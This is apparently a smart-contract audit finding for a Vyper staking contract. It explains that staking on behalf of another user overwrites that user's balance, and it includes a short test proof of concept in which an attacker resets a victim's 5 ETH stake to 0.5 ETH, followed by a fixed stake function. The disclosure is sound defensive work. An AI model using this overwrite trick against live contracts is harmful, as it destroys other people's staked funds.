Summary
Attacker can reset any user's staked balance to any value effectively locking any excess.
Vulnerability Details
A POC of the attack can be seen by adding the following function to the test file.
function testStakingAttackWorks() public {
uint256 FIVE_ETH = 5 ether;
uint256 HALF_ETH = 0.5 ether;
_stake(user1, FIVE_ETH, user1);
assertEq(steaking.usersToStakes(user1), FIVE_ETH);
address attacker = makeAddr("attacker");
uint256 dealAmount = steaking.getMinimumStakingAmount();
_stake(attacker, dealAmount, user1);
assertEq(steaking.usersToStakes(user1), HALF_ETH);
}
Impact
Loss of user stake. In the POC, the user loses 4.5 ETH of their stake
Tools Used
Manual inspection
Recommendations
stake
function can be modified to become:
This effectively means that staking on Behalf of someone increases their existing balance not resetting it to your new stake.
@external
@payable
def stake(_onBehalfOf: address):
"""
@notice Allows users to stake ETH for themselves or any other user within the staking period.
@param _onBehalfOf The address to stake on behalf of.
"""
assert not self._hasStakingPeriodEnded(), STEAK__STAKING_PERIOD_ENDED
assert msg.value >= MIN_STAKE_AMOUNT, STEAK__INSUFFICIENT_STAKE_AMOUNT
assert _onBehalfOf != ADDRESS_ZERO, STEAK__ADDRESS_ZERO
self.usersToStakes[_onBehalfOf] += msg.value
self.totalAmountStaked += msg.value
log Staked(msg.sender, msg.value, _onBehalfOf)